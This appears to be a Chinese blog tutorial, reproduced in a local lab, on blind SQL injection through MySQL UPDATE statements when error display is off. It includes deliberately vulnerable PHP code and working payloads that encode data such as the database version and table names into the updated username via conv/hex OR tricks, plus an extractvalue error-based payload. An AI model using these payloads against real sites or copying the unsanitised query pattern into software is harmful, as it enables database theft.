在Update的注入中如果关闭了显错该怎么办
in 各种姿势 with 0 comment

在Update的注入中如果关闭了显错该怎么办

in 各种姿势 with 0 comment

这两天和兔子师父研究注入,他写了一篇博客,然后被我无耻的拿过来了(´∀`*)

兔子师父的原文

老外发表了一篇文章, MySQL Injection in Update, Insert and Delete 我本地复现了一下。再次深入的理解了皓宝宝说的“所有的盲注都需要通过外部信道的方式将数据显示出来”。

有这样一种情况:

<?php
$mysqli = new mysqli("localhost", "root", "root", "security");

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

$mysqli->query("set names utf8");

$id = @$_GET['id'];
$username = @$_GET['username'];

/* Select queries return a resultset */
$sql1 = "UPDATE users SET username ='$username' WHERE id = '$id'";

$sql2 = "SELECT * FROM users WHERE id = '$id'";


$result = $mysqli->query( $sql1 );


if ($result = $mysqli->query( $sql2 )) {
    $row = $result->fetch_array(MYSQLI_ASSOC);
    echo 'ID='.$id.'的用户名变为为'.$row['username'];
    /* free result set */
    $result->close();
} else {
    var_dump($mysqli->error);
}

$mysqli->close();

QQ截图20170428224344.png

输入?id=1&username=hebic 会将id=1的用户id修改为hebic。在mysql开启报错的情况下,可以使用几种报错函数得到结果,payload之一:?id=1&username=wakakaka' or extractvalue(1,concat(0x7e,database())) or'就可以得到数据。具体的文章:利用insert,update和delete注入获取数据

如果关闭mysql显示错误模式,我们该怎么得到数据呢?

先看payload:?id=1&username=test'| conv(hex(substr(version(),1,8)),16,10);'

1.png

我们这样处理得到的用户名

select unhex(conv(58472576988467,10,16));

2.png

需要的数据就出现了。

这个注入的思路是:利用mysql的特性,字符串和数字或运算得到数字

select (select version()|999);


7.png

因此UPDATE users SET username = '字符串'|数字 …… 就可以将用户名变为数字。

之后,把数据转换为数字与用户名或运算,将返回的用户名解码得到结果。

有两个函数的组合可以将字符转换为数组:hex和conv

select conv(hex(version()),16,10);

8.png

把它填到“数字”的位置,就可以像演示的一样得到数据了。

如果得到的数字超出mysql的范围了怎么办?

如果要得到一些比较长的数据,也许就超过了mysql支持的最大整数18446744073709551615

4.png

那只需要用substring()函数来截取得到的数据,分次将结果拼起来就可以了。

update users set username = 'test'| conv(hex(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,5)),16,10);' where id='1';

得到第一个用户名
解码

select unhex(conv(491327481202,10,16));

5.png

update users set username = 'test'| conv(hex(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,10)),16,10);' where id='1';

得到第二个用户名
解码

select unhex(conv(1919251059,10,16));

6.png

得到完整的数据。insert也可以使用此种方法,也可以使用同样的方法得到数据。

Responses